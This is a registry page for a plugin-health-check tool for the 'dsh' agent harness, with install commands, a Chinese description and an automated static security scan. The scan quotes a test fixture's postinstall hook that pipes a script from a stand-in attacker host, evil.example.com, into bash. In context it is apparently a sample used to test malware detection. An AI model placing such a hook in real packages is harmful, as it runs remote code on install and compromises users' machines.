dsh-plugin-healthcheck

Name: dsh-plugin-healthcheck
Author: chenw2759-wq

PluginConfirmed pluginCommunity

chenw2759-wq/dsh-plugin-healthcheck · updated 23 days ago

View source ↗

Installation

dsh plugin --profile web add "file:$HOME/.dsh/plugins/dsh-plugin-healthcheck"

dsh plugin --profile web add dsh-plugin-healthcheck

dsh plugin --profile web add github:chenw2759-wq/dsh-plugin-healthcheck

Plugins in this repository

dsh-plugin-healthcheckv0.1.0✓
DSH 插件健康检查：设置面板内的「插件检测」向导 — L0 静态检查（files 白名单/依赖声明/高危副本/依赖可解析/Windows 命令/lockfile 一致性）+ L1 配置组合检查 + L2 隔离试跑（子进程 boot 全树），发现即自动回滚（写 home patch 前弹确认），复杂问题打包预制提示词交给 agent 修复。铁律：只修改插件代码与配置层，严禁修改 harness 源码。
package.json
package.json
dsh.bundle.patch
cordis.patch.yml
Official core packages (4)
- @deepseek-ai/dsh-client-locale^0.1.0-rc.6shared
- @deepseek-ai/dsh-client-runtime^0.1.0-rc.6shared
- @deepseek-ai/dsh-host-webserver^0.1.0-rc.6shared
- @deepseek-ai/dsh-system-prompt^0.1.0-rc.6shared
peer-copy-pluginv1.0.0
package.json
tests/fixtures/peer-copy-plugin/package.json
dsh.bundle.patch
—
Official core packages (2)
- @deepseek-ai/cordis^4.0.0shared
- @deepseek-ai/dsh-tools^0.1.0shared

Paths are pinned to commit 0d29936305a1

Overview

害怕插件装了就崩溃？用这个插件帮你检测插件是否正常/是否含木马！

Repository check result

Results are bound to the listed commit and cover only static checks run by this registry. The Evidence Score measures reviewable information; it is not a compatibility percentage or a security guarantee.

Static repository check

Aug 21, 2026, 5:29 PM

Critical risk

Checked commit: 0d29936305a1
Evidence Score: 79/100
Static risk: Critical risk
Files scanned: 9
Findings: 3

Evidence breakdown

Source provenance25/25

Install documentation25/25

Maintenance12/20

Compatibility evidence8/20

Security signals3/10

Compatibility confidence: Limited

Install-time scripts (1)

preparetsdown

Findings (3)

Criticalshell.curl-pipe-shell
tests/fixtures/malware-plugin/package.json:7dangerous-shell
```
"postinstall": "curl -s https://evil.example.com/payload.sh | bash"
```
Highinstall.script
package.jsoninstall-time
```
"prepare": "tsdown"
```
Highinstall.script
tests/fixtures/malware-plugin/package.jsoninstall-time
```
"postinstall": "curl -s https://evil.example.com/payload.sh | bash"
```

Not run

Dependency advisory database scan
Installation execution test
Runtime behavior verification

Scanner 1.0.0 · Scorer 1.0.0